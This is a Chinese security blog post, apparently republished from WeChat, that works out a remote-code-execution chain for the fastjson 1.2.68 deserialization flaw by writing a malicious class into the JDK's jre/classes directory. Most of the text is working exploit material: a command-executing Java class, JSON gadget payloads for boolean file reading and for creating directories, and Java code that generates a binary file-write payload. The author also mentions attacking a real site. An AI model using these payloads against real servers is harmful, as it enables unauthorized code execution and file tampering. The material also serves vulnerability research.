fastjson 1.2.68 反序列化写文件RCE探索
2022-11-8 14:54:12 Author: mp.weixin.qq.com(查看原文) 阅读量:19 收藏

前言

  fastjson 1.2.68 目前公开的利用链中比较好用的是voidfyoo师傅的Commons IO 写文件链子,但是在spring环境下,仅仅通过写文件rce较为困难,本文更多的是结合多位师傅的文章理出一条通过写文件稳定rce方法

JDK8任意写文件场景下的Fastjson RCE

  通过覆盖charsets.jar缺点太多,一是文件大,二是java版本不适配。另外笔者觉得还有一个致命因素,一般来说项目中只要使用了Charset.forName 就会加载charsets.jar,这样来讲正常的业务代码中几乎都已经加载过charsets.jar,即使后来再覆盖charsets.jar也不会重新加载。仅为笔者个人(java初学者)想法(或许是在哪里看到过别的师傅的文章,有点印象),如有错误欢迎师傅指点。

  threedr3am师傅给出了任意文件写的情况下,如何更稳定地rce。简单来讲如果写一个恶意的class到jre/classes/目录下,class内容如下:

import java.io.IOException;

public class MyClass implements AutoCloseable {
    public MyClass(String cmd) throws IOException {
        Runtime.getRuntime().exec(cmd);
    }

    public void close() throws Exception {
    }

    static {
        try {
            Runtime.getRuntime().exec("open -a Calculator");
        } catch (IOException var1) {
            throw new RuntimeException(var1);
        }
    }
}

  正在运行的项目会加载这个class文件,我们只需要使用如下poc即可rce。

{"@type":"java.lang.AutoCloseable","@type":"MyClass","cmd":"open -a Calculator"}

  这里只做简述,具体原理到threedr3am师傅的博客中查看。

  很可惜的是jre目录下默认并不会存在classes目录,另外voidfyoo师傅给出的Commons IO 写文件链子不能写二进制文件,具体原因是使用的输入输出流都是经过编码的,而二进制文件中部分字符编码/解码失败就会写入脏字符。 那么目前我们需要解决的问题有三点:

  1. 1. 获取jdk目录

  2. 2. 创建classes目录

  3. 3. 写入class文件

获取jdk目录

  在Blackhat的议题中分享了一条commons-io逐字节读文件的链子,但是局限性很大。经过浅蓝师傅的扩展,目前可以做到有抛出异常的布尔读和利用dnslog 无回显读 ,贴一下浅蓝师傅的有抛出异常的布尔读取文件的poc:

{
  "abc":{"@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///tmp/test"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },"boms": [
      {
        "@type": "org.apache.commons.io.ByteOrderMark",
        "charsetName": "UTF-8",
        "bytes": [
          98
        ]
      }
    ]
  },
  "address" : {"@type": "java.lang.AutoCloseable","@type":"org.apache.commons.io.input.CharSequenceReader","charSequence": {"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},"start": 0,"end": 0}
}

  当字节码对比一致时就会走到下面charSequence处,因为类型不一致fastjson报错,业务抛出异常, 字节码对比不一致时返回为null,fastjson也就不会报错,业务回显正常。 我们可以直接读取启动命令 /proc/self/cmdline, 有的时候直接是用绝对路径来启动的,如果不是可以用netdoc协议列目录找到jdk路径

创建classes目录

  笔者找到一条简单的通过Commons IO创建目录的链子,使用的类是org.apache.commons.io.output.LockableFileWriter

public LockableFileWriter(File file, Charset encoding, boolean append, String lockDir) throws IOException {
        file = file.getAbsoluteFile();
        if (file.getParentFile() != null) {
            FileUtils.forceMkdir(file.getParentFile());
        }

        if (file.isDirectory()) {
            throw new IOException("File specified is a directory");
        } else {
            if (lockDir == null) {
                lockDir = System.getProperty("java.io.tmpdir");
            }

            File lockDirFile = new File(lockDir);
            FileUtils.forceMkdir(lockDirFile);
            this.testLockDir(lockDirFile);
            this.lockFile = new File(lockDirFile, file.getName() + ".lck");
            this.createLock();
            this.out = this.initWriter(file, encoding, append);
        }
    }

FileUtils#forceMkdir

public static void forceMkdir(File directory) throws IOException {
        ......
        if (directory.exists()) {
            ......
        } else if (!directory.mkdirs() && !directory.isDirectory()) {
          ......
        }

    }

poc

{
 "@type":"java.lang.AutoCloseable",
 "@type":"org.apache.commons.io.output.WriterOutputStream",
 "writer":{
 "@type":"org.apache.commons.io.output.LockableFileWriter",
 "file":"/etc/passwd", //一个存在的文件
 "encoding":"UTF-8",
 "append": true,
"lockDir":"/usr/lib/jvm/java-8-openjdk-amd64/jre/classes" //要创建的目录
 },
 "charset":"UTF-8",
 "bufferSize": 8193,
 "writeImmediately": true
 }

  file需要是一个存在的文件,才能走到下面的FileUtils.forceMkdir(lockDirFile) 创建目录 注:mac环境下可能有保护机制,jre下classes创建不了,实测ubuntu上是可以创建的。

写入class文件

  笔者能力有限,只依赖commons-io 未能找到一条写二进制文件的链子,在Blackhat的议题中分享了一条基于commons-io、commons-codec、aspectj写二进制文件的链,笔者近日打的fastjson刚好有commons-io、commons-codec,但是没有aspectj。于是在另一位师傅列出lib之后,在ant中找到了org.apache.tools.ant.util.LazyFileOutputStream 类,可以替代aspectj中的org.eclipse.core.internal.localstore.SafeFileOutputStream

public static void write_so(String target_path) throws IOException {
    byte[] bom_buffer_bytes = readFileInBytesToString("./target/classes/MyClass.class");
    String base64_so_content = Base64.getEncoder().encodeToString(bom_buffer_bytes);
    byte[] big_bom_buffer_bytes = Base64.getDecoder().decode(base64_so_content);
    String payload = String.format("{\n" +
                "  \"@type\":\"java.lang.AutoCloseable\",\n" +
                "  \"@type\":\"org.apache.commons.io.input.BOMInputStream\",\n" +
                "  \"delegate\":{\n" +
                "    \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
                "    \"input\":{\n" +
                "      \"@type\": \"org.apache.commons.codec.binary.Base64InputStream\",\n" +
                "      \"in\":{\n" +
                "        \"@type\":\"org.apache.commons.io.input.CharSequenceInputStream\",\n" +
                "        \"charset\":\"utf-8\",\n" +
                "        \"bufferSize\": 1024,\n" +
                "        \"cs\":{\"@type\":\"java.lang.String\"\"%1$s\"\n" +
                "      },\n" +
                "      \"doEncode\":false,\n" +
                "      \"lineLength\":1024,\n" +
                "      \"lineSeparator\":\"5ZWKCg==\",\n" +
                "      \"decodingPolicy\":0\n" +
                "    },\n" +
                "    \"branch\":{\n" +
                //"      \"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" +
                //"      \"targetPath\":\"%2$s\"\n" +
                "      \"@type\":\"org.apache.tools.ant.util.LazyFileOutputStream\",\n" +
                "      \"file\":\"%2$s\",\n" +
                "      \"append\":false,\n" +
                "      \"alwaysCreate\":true\n" +
                "    },\n" +
                "    \"closeBranch\":false\n" +
                "  },\n" +
                "  \"include\":true,\n" +
                "  \"boms\":[{\n" +
                "                  \"@type\": \"org.apache.commons.io.ByteOrderMark\",\n" +
                "                  \"charsetName\": \"UTF-8\",\n" +
                "                  \"bytes\":" +"%3$s\n" +
                "                }],\n" +
                "  \"x\":{\"$ref\":\"$.bOM\"}\n" +
                "}",base64_so_content, "/tmp/MyClass.class", Arrays.toString(big_bom_buffer_bytes));
    System.out.println(payload);
}
public static byte[] readFileInBytesToString(String filePath) {
        final int readArraySizePerRead = 4096;
        File file = new File(filePath);
        ArrayList<Byte> bytes = new ArrayList<>();
        try {
            if (file.exists()) {
                DataInputStream isr = new DataInputStream(new FileInputStream(
                        file));
                byte[] tempchars = new byte[readArraySizePerRead];
                int charsReadCount = 0;

                while ((charsReadCount = isr.read(tempchars)) != -1) {
                    for(int i = 0 ; i < charsReadCount ; i++){
                        bytes.add (tempchars[i]);
                    }
                }
                isr.close();
            }
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }

        return toPrimitives(bytes.toArray(new Byte[0]));
    }

    static byte[] toPrimitives(Byte[] oBytes) {
        byte[] bytes = new byte[oBytes.length];

        for (int i = 0; i < oBytes.length; i++) {
            bytes[i] = oBytes[i];
        }

        return bytes;
    }

  笔者在vps用jar起的环境和本地手动创建classes目录之后都是可以成功的。

  但是打的站没成功,别的师傅通过别的链打下来后,笔者上去看了下class文件没问题,也能直接运行,但是很奇怪用fastjson加载不了。

最后

  在root权限下可以直接通过commons-io链写计划任务,低权限下通过写class文件rce,获取jdk目录、创建classes目录仅依赖commons-io,但是写入class文件需要更多不太常见的依赖,总的来讲利用条件还是较为苛刻的。

参考

  1. 1. Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析(https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg)

  2. 2. Blackhat 2021 议题详细分析 —— FastJson 反序列化漏洞及在区块链应用中的渗透利用(https://paper.seebug.org/1698/#3commons-io)

  3. 3. fastjson 读文件 gadget 的利用场景扩展(https://b1ue.cn/archives/506.html)

  4. 4. JDK8任意文件写场景下的Fastjson RCE(https://threedr3am.github.io/2021/04/13/JDK8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%9C%BA%E6%99%AF%E4%B8%8B%E7%9A%84Fastjson%20RCE/)


文章来源: https://mp.weixin.qq.com/s?__biz=Mzg3NzczOTA3OQ==&mid=2247485783&idx=1&sn=76cdb672e0e4bc2877be262447fc5483&chksm=cf1f247ff868ad6923bb5622c76c0b4270144f60198eef2547218fc992cb078415417c06220a&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh